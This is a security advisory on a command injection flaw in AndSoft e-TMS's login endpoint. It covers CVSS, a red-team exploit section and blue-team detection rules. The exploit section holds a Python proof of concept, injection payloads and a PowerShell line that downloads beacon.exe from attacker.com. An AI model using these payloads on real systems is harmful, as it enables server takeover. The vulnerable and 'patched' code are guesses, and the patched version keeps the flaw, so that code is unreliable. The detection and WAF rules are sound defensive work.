CVE-2025-59737

Executive Summary

CVE-2025-59737 is an operating system command injection vulnerability in AndSoft's e-TMS v25.03, specifically in the /clt/LOGINFRM_LXA.ASP endpoint. The flaw allows an unauthenticated attacker to execute arbitrary OS commands on the server by sending a crafted POST request with a malicious m parameter. This can lead to full server compromise, data exfiltration, and lateral movement within the network. No patch is currently available, and the vulnerability has a public proof-of-concept (PoC). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains critical due to the lack of mitigations.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary ASP-based web application (e-TMS) from AndSoft. Organizations using this software should treat it as a high-risk supply chain issue and consider isolating or decommissioning the application until a patch is released.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the web server.
• Confidentiality (C): High (H) – Full system access.
• Integrity (I): High (H) – Full system control.
• Availability (A): High (H) – Can disrupt services.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability resides in the LOGINFRM_LXA.ASP page, which processes the m parameter from a POST request. The application fails to sanitize or validate user input before passing it to a system command execution function (likely Shell or WScript.Shell in ASP). An attacker can inject arbitrary OS commands by appending command separators (e.g., ;, |, &&) to the m parameter.

Example vulnerable request:

POST /clt/LOGINFRM_LXA.ASP HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

m=test;whoami

The server executes whoami as part of the command, returning the output to the attacker.

Root Cause: The application uses unsanitized user input in a system command call, violating secure coding practices (CWE-78: Improper Neutralization of Special Elements used in an OS Command).

Vulnerable vs. Patched Code

Vulnerable Code (ASP):

<%
Dim cmd
cmd = Request.Form("m")
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c " & cmd, 0, True
%>

Patched Code (Conceptual):

<%
Dim cmd
cmd = Request.Form("m")
' Validate input: allow only alphanumeric and specific safe characters
If Not IsValidInput(cmd) Then
    Response.Write "Invalid input"
    Response.End
End If
' Use parameterized API or safe execution
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c " & cmd, 0, True ' Still vulnerable if not properly sanitized
%>

Function IsValidInput(input)
    Dim regex
    Set regex = New RegExp
    regex.Pattern = "^[a-zA-Z0-9_\-]+$"
    IsValidInput = regex.Test(input)
End Function

Note: The patched code above is a conceptual example. The actual fix should avoid shell execution entirely or use a whitelist of allowed commands.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable instance of AndSoft e-TMS v25.03 on a Windows Server with IIS.
2. Ensure the /clt/LOGINFRM_LXA.ASP endpoint is accessible.

Exploit PoC (Python):

import requests

target = "http://target.com/clt/LOGINFRM_LXA.ASP"
payload = {"m": "test;whoami"}
response = requests.post(target, data=payload)
print(response.text)

Advanced Exploitation:

• Use ; to chain commands: m=test;powershell -Command "Invoke-WebRequest -Uri http://attacker.com/beacon.exe -OutFile C:\Windows\Temp\beacon.exe"
• Use | to pipe output: m=test|dir
• Use && for conditional execution: m=test&&whoami

Blue Team (Defensive)

Detection Steps:

1. Monitor IIS logs for POST requests to /clt/LOGINFRM_LXA.ASP with unusual m parameters.
2. Look for command separators (;, |, &, `) in the m parameter.
3. Alert on outbound connections from the web server to unknown IPs (potential C2).

Honeypot Setup:

• Deploy a decoy e-TMS instance and monitor for exploitation attempts.
• Log all POST data for forensic analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /clt/LOGINFRM_LXA.ASP with m parameter containing shell metacharacters.
• Outbound connections from the web server to external IPs on ports 80, 443, or 4444.
• Unusual HTTP response sizes or error messages containing command output.

File IOCs:

• Unexpected executables in C:\Windows\Temp\ or C:\Users\Public\.
• Modified ASP files in the e-TMS directory.
• New scheduled tasks or services created by the web server process.

Process IOCs:

• cmd.exe or powershell.exe spawned by w3wp.exe (IIS worker process).
• Network connections from cmd.exe or powershell.exe.

Detection Engineering

YARA Rule

rule CVE_2025_59737_Command_Injection {
    meta:
        description = "Detects command injection attempts in POST requests to LOGINFRM_LXA.ASP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59737"
    strings:
        $asp_endpoint = "/clt/LOGINFRM_LXA.ASP" nocase
        $cmd_separator1 = ";" ascii
        $cmd_separator2 = "|" ascii
        $cmd_separator3 = "&" ascii
        $cmd_separator4 = "`" ascii
    condition:
        $asp_endpoint and any of ($cmd_separator*)
}

Sigma Rule

title: CVE-2025-59737 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to LOGINFRM_LXA.ASP with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem: '/clt/LOGINFRM_LXA.ASP'
        cs-method: 'POST'
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in form fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59737 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/clt/LOGINFRM_LXA.ASP"; http_uri; content:"m="; http_client_body; pcre:"/(;|\||&|`)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the e-TMS server from the internet and critical internal networks.
2. Apply virtual patching using a WAF (e.g., ModSecurity) to block requests containing shell metacharacters in the m parameter.
3. Monitor logs for exploitation attempts and respond to any IOCs.

Long-term Fix:

• Contact AndSoft for an official patch.
• If no patch is available, consider migrating to an alternative solution.
• Rewrite the vulnerable ASP page to avoid shell execution entirely.

WAF Rule Example (ModSecurity):

SecRule REQUEST_FILENAME "/clt/LOGINFRM_LXA.ASP" "phase:2,id:1000002,deny,status:403,msg:'CVE-2025-59737 Command Injection Blocked'"
SecRule ARGS:m "@rx [;|&`]" "phase:2,id:1000003,deny,status:403,msg:'CVE-2025-59737 Command Injection Blocked'"

Valters IT
Securing Digital Frontiers